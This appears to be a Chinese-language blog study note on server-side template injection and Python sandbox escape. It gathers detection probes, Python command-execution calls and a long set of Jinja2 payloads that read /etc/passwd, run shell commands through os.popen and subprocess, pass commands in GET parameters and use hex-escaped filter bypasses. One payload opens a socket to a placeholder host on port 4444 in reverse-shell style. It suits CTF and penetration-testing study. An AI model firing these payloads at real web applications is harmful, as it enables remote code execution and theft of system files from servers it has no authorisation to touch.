模板注入&沙箱逃逸

An2i發表於2024-05-29

模板注入

SSTI服務端模板注入

一、什麼是SSTI

首先web服務的實現中使用了模板引擎,並且將引數傳遞的值當作模板一部分進行渲染(渲染這個詞可能有點抽象,可以簡單理解為將引數作為程式碼的一部分解釋並執行了),這就是SSTI,服務端模板執行。

模板注入原理

服務端可以使用哪些模板引擎?

由於服務端可以由python、java、php、javascript、ruby、golang等語言編寫,所以可以選擇的模板引擎挺多的,常見的有Jinja2、Django、Velocity、Groovy、Latte、ERB等待。

二、檢測

1.利用Template Injection Table來檢測

Template Injection Table:https://cheatsheet.hackmanit.de/template-injection-table/index.html

透過Template Injection Table複製中的測試payload輸入到引數中並執行,檢視回顯的報錯內容來判斷模板型別。

每一個測試payload下面的行都是代表一種模板執行後返回的結果,如“{#${{1}}#}}”,嘗試“http://114.67.175.224:15233/?flag={#${{1}}#}}”,結果如下圖所示。

2.工具檢測(最簡單的方法)

可以透過工具tinja進行檢測。

https://github.com/Hackmanit/TInjA

3.人工嘗試

Jinja2 (Python)

{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>

更多嘗試方法可以參考https://book.hacktricks.xyz/v/cn/pentesting-web/ssti-server-side-template-injection

在利用時還可以嘗試一些特殊變數:https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt

CSTI客戶端模板注入

客戶端只能使用 JavaScript 模板引擎。

沙箱逃逸

python沙箱逃逸

常見命令執行方式

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

另外,Python2 input() 函式允許在程式崩潰之前執行 Python 程式碼。

先到達頂層類'object',方法如下:

{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

我們可以透過檢視python預安裝的庫,看有哪些類可以使用。

預安裝包檢視:https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html

讀寫檔案

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

命令執行

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

命令執行--升級版

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

使用預設安裝的 Python 包繞過沙盒

相關文章